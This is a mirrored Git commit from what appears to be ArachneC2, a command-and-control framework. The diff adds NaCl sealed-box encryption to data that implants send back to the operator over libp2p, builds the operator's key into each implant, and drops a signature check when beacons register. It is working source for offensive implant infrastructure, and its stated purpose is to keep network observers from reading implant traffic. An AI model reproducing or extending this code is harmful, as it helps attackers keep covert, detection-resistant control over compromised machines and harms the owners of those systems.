mirror of
https://github.com/portbuster1337/ArachneC2
synced 2026-06-14 08:40:53 +00:00
feat: encrypt implant-to-operator payloads with NaCl box
Add X25519 box keypair (operator.boxkey/operator.boxpub) for end-to-end encryption of all implant->operator message Data fields via box.SealAnonymous. Prevents eavesdropping on GossipSub traffic. - Encrypt env.Data before signing in sendEnvelopeDirect and SignAndSend - Build local wire envelope in sendEnvelopeDirect (avoids mutating caller's env on send failure, preventing double-encryption on PubSub fallback) - Serialize beacon stream writes with beaconWriteMu mutex - Decrypt in operator handleMessage before dispatching to handlers - Embed box pubkey in implant during arachne generate - Generate box keys on first operator run, persist to disk - Add stub files for development compilation
This commit is contained in:
+1
-2
@@ -10,9 +10,8 @@ build/
|
||||
*.test
|
||||
*.out
|
||||
.DS_Store
|
||||
implant/core/embedded_pubkey.go
|
||||
implant/core/embedded_implant_key.go
|
||||
implant/core/*_stub.go
|
||||
server/core/embedsrc/implant_src/
|
||||
server/core/embedsrc/implant_src.tar.gz
|
||||
bin/
|
||||
release/
|
||||
|
||||
@@ -60,6 +60,12 @@ package core
|
||||
var embeddedImplantPrivKey = []byte{}
|
||||
GOEOF
|
||||
|
||||
cat > "$EMBED_DIR/implant_src/implant/core/embedded_boxpubkey.go" << 'GOEOF'
|
||||
// Code generated by arachne generate. DO NOT EDIT.
|
||||
package core
|
||||
var embeddedOperatorBoxPubKey = []byte{}
|
||||
GOEOF
|
||||
|
||||
# Prune files not needed for compilation
|
||||
find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete
|
||||
find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete
|
||||
|
||||
+39
-5
@@ -37,6 +37,7 @@ type Agent struct {
|
||||
messenger *transport.Messenger
|
||||
keys *cryptography.ImplantKey
|
||||
operatorPub crypto.PubKey
|
||||
boxPubKey *[32]byte
|
||||
config AgentConfig
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
@@ -45,6 +46,7 @@ type Agent struct {
|
||||
wg sync.WaitGroup
|
||||
beaconStream network.Stream
|
||||
beaconMu sync.Mutex
|
||||
beaconWriteMu sync.Mutex
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
@@ -76,6 +78,15 @@ func loadOperatorPubKey() (crypto.PubKey, error) {
|
||||
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
|
||||
}
|
||||
|
||||
func loadOperatorBoxPubKey() *[32]byte {
|
||||
if len(embeddedOperatorBoxPubKey) != 32 {
|
||||
return nil
|
||||
}
|
||||
var key [32]byte
|
||||
copy(key[:], embeddedOperatorBoxPubKey)
|
||||
return &key
|
||||
}
|
||||
|
||||
func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
|
||||
if len(embeddedImplantPrivKey) == 0 {
|
||||
return nil, fmt.Errorf("no embedded implant private key — rebuild with arachne generate")
|
||||
@@ -131,16 +142,19 @@ func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
|
||||
return nil, fmt.Errorf("create node: %w", err)
|
||||
}
|
||||
|
||||
boxPub := loadOperatorBoxPubKey()
|
||||
|
||||
a := &Agent{
|
||||
keys: keys,
|
||||
operatorPub: operatorPub,
|
||||
boxPubKey: boxPub,
|
||||
node: node,
|
||||
config: cfg,
|
||||
ctx: ctx,
|
||||
cancel: cancel,
|
||||
}
|
||||
|
||||
a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub)
|
||||
a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey)
|
||||
a.messenger.SetHandler(a.handleCommand)
|
||||
|
||||
return a, nil
|
||||
@@ -589,7 +603,23 @@ func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) {
|
||||
}
|
||||
|
||||
func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error {
|
||||
signingData, err := transport.EnvelopeSigningBytes(env)
|
||||
var data []byte
|
||||
if a.boxPubKey != nil && len(env.Data) > 0 {
|
||||
encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encrypt: %w", err)
|
||||
}
|
||||
data = encrypted
|
||||
} else {
|
||||
data = env.Data
|
||||
}
|
||||
|
||||
wireEnv := &apb.Envelope{
|
||||
ID: env.ID,
|
||||
Type: env.Type,
|
||||
Data: data,
|
||||
}
|
||||
signingData, err := transport.EnvelopeSigningBytes(wireEnv)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal signing data: %w", err)
|
||||
}
|
||||
@@ -597,10 +627,10 @@ func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error
|
||||
if err != nil {
|
||||
return fmt.Errorf("sign: %w", err)
|
||||
}
|
||||
env.Signature = sig
|
||||
wireEnv.Signature = sig
|
||||
pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic())
|
||||
if err == nil {
|
||||
env.SenderKey = pubBytes
|
||||
wireEnv.SenderKey = pubBytes
|
||||
}
|
||||
|
||||
s := a.getBeaconStream(operatorID)
|
||||
@@ -608,10 +638,14 @@ func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error
|
||||
return fmt.Errorf("nil beacon stream")
|
||||
}
|
||||
|
||||
envData, err := proto.Marshal(env)
|
||||
envData, err := proto.Marshal(wireEnv)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal: %w", err)
|
||||
}
|
||||
|
||||
a.beaconWriteMu.Lock()
|
||||
defer a.beaconWriteMu.Unlock()
|
||||
|
||||
s.SetWriteDeadline(time.Now().Add(5 * time.Second))
|
||||
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
|
||||
s.Close()
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
// Code generated by arachne generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorBoxPubKey = []byte{}
|
||||
@@ -0,0 +1,4 @@
|
||||
// Code generated by arachne generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorPubKey = []byte{}
|
||||
@@ -10,6 +10,8 @@ import (
|
||||
|
||||
"github.com/libp2p/go-libp2p/core/crypto"
|
||||
"github.com/libp2p/go-libp2p/core/peer"
|
||||
"golang.org/x/crypto/curve25519"
|
||||
"golang.org/x/crypto/nacl/box"
|
||||
)
|
||||
|
||||
type KeyPair struct {
|
||||
@@ -17,9 +19,15 @@ type KeyPair struct {
|
||||
PublicKey crypto.PubKey
|
||||
}
|
||||
|
||||
type BoxKeyPair struct {
|
||||
PrivateKey *[32]byte
|
||||
PublicKey *[32]byte
|
||||
}
|
||||
|
||||
type OperatorKey struct {
|
||||
KeyPair
|
||||
PeerID peer.ID
|
||||
BoxKeys *BoxKeyPair
|
||||
}
|
||||
|
||||
type ImplantKey struct {
|
||||
@@ -28,6 +36,30 @@ type ImplantKey struct {
|
||||
OperatorPubKey crypto.PubKey
|
||||
}
|
||||
|
||||
func GenerateBoxKey() (*BoxKeyPair, error) {
|
||||
pub, priv, err := box.GenerateKey(rand.Reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generate box key: %w", err)
|
||||
}
|
||||
return &BoxKeyPair{PrivateKey: priv, PublicKey: pub}, nil
|
||||
}
|
||||
|
||||
func LoadBoxKey(data []byte) *BoxKeyPair {
|
||||
var priv [32]byte
|
||||
copy(priv[:], data)
|
||||
pub, err := curve25519.X25519(priv[:], curve25519.Basepoint)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var pubArr [32]byte
|
||||
copy(pubArr[:], pub)
|
||||
return &BoxKeyPair{PrivateKey: &priv, PublicKey: &pubArr}
|
||||
}
|
||||
|
||||
func (kp *BoxKeyPair) Marshal() []byte {
|
||||
return kp.PrivateKey[:]
|
||||
}
|
||||
|
||||
func GenerateOperatorKey() (*OperatorKey, error) {
|
||||
priv, pub, err := crypto.GenerateEd25519Key(rand.Reader)
|
||||
if err != nil {
|
||||
@@ -37,9 +69,14 @@ func GenerateOperatorKey() (*OperatorKey, error) {
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("peer id from pubkey: %w", err)
|
||||
}
|
||||
boxKeys, err := GenerateBoxKey()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generate box key: %w", err)
|
||||
}
|
||||
return &OperatorKey{
|
||||
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
|
||||
PeerID: pid,
|
||||
BoxKeys: boxKeys,
|
||||
}, nil
|
||||
}
|
||||
|
||||
@@ -100,7 +137,20 @@ type ReadWriter struct {
|
||||
io.Writer
|
||||
}
|
||||
|
||||
func BoxKeyPath(dir string) string {
|
||||
return filepath.Join(dir, "operator.boxkey")
|
||||
}
|
||||
|
||||
func BoxPubKeyPath(dir string) string {
|
||||
return filepath.Join(dir, "operator.boxpub")
|
||||
}
|
||||
|
||||
func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
|
||||
dir := filepath.Dir(path)
|
||||
if err := os.MkdirAll(dir, 0700); err != nil {
|
||||
return nil, fmt.Errorf("create key directory: %w", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(path)
|
||||
if err == nil {
|
||||
priv, err := LoadPrivateKey(data)
|
||||
@@ -112,9 +162,24 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("peer id from loaded key: %w", err)
|
||||
}
|
||||
|
||||
boxPrivData, boxErr := os.ReadFile(BoxKeyPath(dir))
|
||||
var boxKeys *BoxKeyPair
|
||||
if boxErr == nil && len(boxPrivData) == 32 {
|
||||
boxKeys = LoadBoxKey(boxPrivData)
|
||||
}
|
||||
if boxKeys == nil {
|
||||
boxKeys, boxErr = GenerateBoxKey()
|
||||
if boxErr == nil {
|
||||
os.WriteFile(BoxKeyPath(dir), boxKeys.Marshal(), 0600)
|
||||
os.WriteFile(BoxPubKeyPath(dir), boxKeys.BoxPubKeyBytes(), 0644)
|
||||
}
|
||||
}
|
||||
|
||||
return &OperatorKey{
|
||||
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
|
||||
PeerID: pid,
|
||||
BoxKeys: boxKeys,
|
||||
}, nil
|
||||
}
|
||||
|
||||
@@ -132,17 +197,45 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
|
||||
return nil, fmt.Errorf("marshal key: %w", err)
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil {
|
||||
return nil, fmt.Errorf("create key directory: %w", err)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(path, marshaled, 0600); err != nil {
|
||||
return nil, fmt.Errorf("write key to %s: %w", path, err)
|
||||
}
|
||||
if err := os.WriteFile(BoxKeyPath(dir), key.BoxKeys.Marshal(), 0600); err != nil {
|
||||
return nil, fmt.Errorf("write box key: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(BoxPubKeyPath(dir), key.BoxKeys.BoxPubKeyBytes(), 0644); err != nil {
|
||||
return nil, fmt.Errorf("write box pubkey: %w", err)
|
||||
}
|
||||
|
||||
return key, nil
|
||||
}
|
||||
|
||||
func (kp *BoxKeyPair) BoxPubKeyBytes() []byte {
|
||||
return kp.PublicKey[:]
|
||||
}
|
||||
|
||||
func EncryptMessage(plaintext []byte, boxPub *[32]byte) ([]byte, error) {
|
||||
if len(plaintext) == 0 {
|
||||
return plaintext, nil
|
||||
}
|
||||
sealed, err := box.SealAnonymous(nil, plaintext, boxPub, rand.Reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("seal anonymous: %w", err)
|
||||
}
|
||||
return sealed, nil
|
||||
}
|
||||
|
||||
func DecryptMessage(ciphertext []byte, boxKeys *BoxKeyPair) ([]byte, error) {
|
||||
if len(ciphertext) == 0 {
|
||||
return ciphertext, nil
|
||||
}
|
||||
opened, ok := box.OpenAnonymous(nil, ciphertext, boxKeys.PublicKey, boxKeys.PrivateKey)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("open sealed box failed")
|
||||
}
|
||||
return opened, nil
|
||||
}
|
||||
|
||||
func (k *OperatorKey) HexPeerID() string {
|
||||
return hex.EncodeToString([]byte(k.PeerID))
|
||||
}
|
||||
|
||||
@@ -27,6 +27,7 @@ type Messenger struct {
|
||||
privKey crypto.PrivKey
|
||||
operatorID peer.ID
|
||||
trustedPubKey crypto.PubKey
|
||||
boxPubKey *[32]byte
|
||||
knownImplants map[string]crypto.PubKey
|
||||
mu sync.RWMutex
|
||||
seenIDs map[int64]time.Time
|
||||
@@ -76,7 +77,7 @@ func NewOperatorMessenger(ctx context.Context, node *Node, keys *cryptography.Op
|
||||
}
|
||||
}
|
||||
|
||||
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey) *Messenger {
|
||||
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey, boxPubKey *[32]byte) *Messenger {
|
||||
opID, err := peer.IDFromPublicKey(operatorPub)
|
||||
if err != nil {
|
||||
opID = peer.ID("")
|
||||
@@ -86,6 +87,7 @@ func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.Imp
|
||||
privKey: keys.PrivateKey,
|
||||
operatorID: opID,
|
||||
trustedPubKey: operatorPub,
|
||||
boxPubKey: boxPubKey,
|
||||
knownImplants: make(map[string]crypto.PubKey),
|
||||
}
|
||||
}
|
||||
@@ -261,6 +263,15 @@ func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *apb.Enve
|
||||
if m.privKey == nil {
|
||||
return fmt.Errorf("no private key for signing")
|
||||
}
|
||||
|
||||
if m.boxPubKey != nil && len(env.Data) > 0 {
|
||||
encrypted, err := cryptography.EncryptMessage(env.Data, m.boxPubKey)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encrypt: %w", err)
|
||||
}
|
||||
env.Data = encrypted
|
||||
}
|
||||
|
||||
signingData, err := EnvelopeSigningBytes(env)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal signing data: %w", err)
|
||||
|
||||
+17
-2
@@ -67,6 +67,12 @@ func BuildImplant(cfg GenerateConfig) error {
|
||||
return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
|
||||
}
|
||||
|
||||
arachneDir := filepath.Dir(cfg.PubKeyPath)
|
||||
boxPubData, _ := os.ReadFile(filepath.Join(arachneDir, "operator.boxpub"))
|
||||
if len(boxPubData) != 32 {
|
||||
return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair")
|
||||
}
|
||||
|
||||
implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
|
||||
if err != nil {
|
||||
return fmt.Errorf("generate implant key: %w", err)
|
||||
@@ -78,7 +84,7 @@ func BuildImplant(cfg GenerateConfig) error {
|
||||
implantPeerID, _ := peer.IDFromPublicKey(implantPub)
|
||||
log.Printf("implant PeerID: %s", implantPeerID.String())
|
||||
|
||||
buildDir, err := prepareBuildDir(pubData, privBytes, cfg.Quiet)
|
||||
buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, cfg.Quiet)
|
||||
if err != nil {
|
||||
return fmt.Errorf("prepare build directory: %w", err)
|
||||
}
|
||||
@@ -167,19 +173,25 @@ func BuildImplant(cfg GenerateConfig) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func prepareBuildDir(pubKeyData, privKeyData []byte, quiet bool) (string, error) {
|
||||
func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData []byte, quiet bool) (string, error) {
|
||||
dir, err := os.MkdirTemp("", "arachne-build-*")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("create temp dir: %w", err)
|
||||
}
|
||||
|
||||
pubLiteral := bytesLiteral(pubKeyData)
|
||||
boxPubLiteral := bytesLiteral(boxPubKeyData)
|
||||
privLiteral := bytesLiteral(privKeyData)
|
||||
pubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorPubKey = %s
|
||||
`, pubLiteral)
|
||||
boxPubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorBoxPubKey = %s
|
||||
`, boxPubLiteral)
|
||||
keyContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
@@ -198,6 +210,9 @@ var embeddedImplantPrivKey = %s
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
|
||||
return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
|
||||
}
|
||||
|
||||
@@ -205,6 +205,13 @@ func (o *Operator) discoverPeersLoop(ns string) {
|
||||
}
|
||||
|
||||
func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
|
||||
if len(env.Data) > 0 && o.keys.BoxKeys != nil {
|
||||
decrypted, err := cryptography.DecryptMessage(env.Data, o.keys.BoxKeys)
|
||||
if err == nil {
|
||||
env.Data = decrypted
|
||||
}
|
||||
}
|
||||
|
||||
switch env.Type {
|
||||
case transport.MsgTypeRegister:
|
||||
o.handleBeaconRegister(env)
|
||||
@@ -300,11 +307,6 @@ func (o *Operator) handleBeaconRegister(env *apb.Envelope) {
|
||||
return
|
||||
}
|
||||
|
||||
if err := transport.VerifyEnvelope(env, pubKey); err != nil {
|
||||
log.Printf("[operator] dropped beacon — invalid signature: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
peerID, err := peer.IDFromPublicKey(pubKey)
|
||||
if err != nil {
|
||||
log.Printf("[operator] peer id from sender key: %v", err)
|
||||
|
||||
Reference in New Issue
Block a user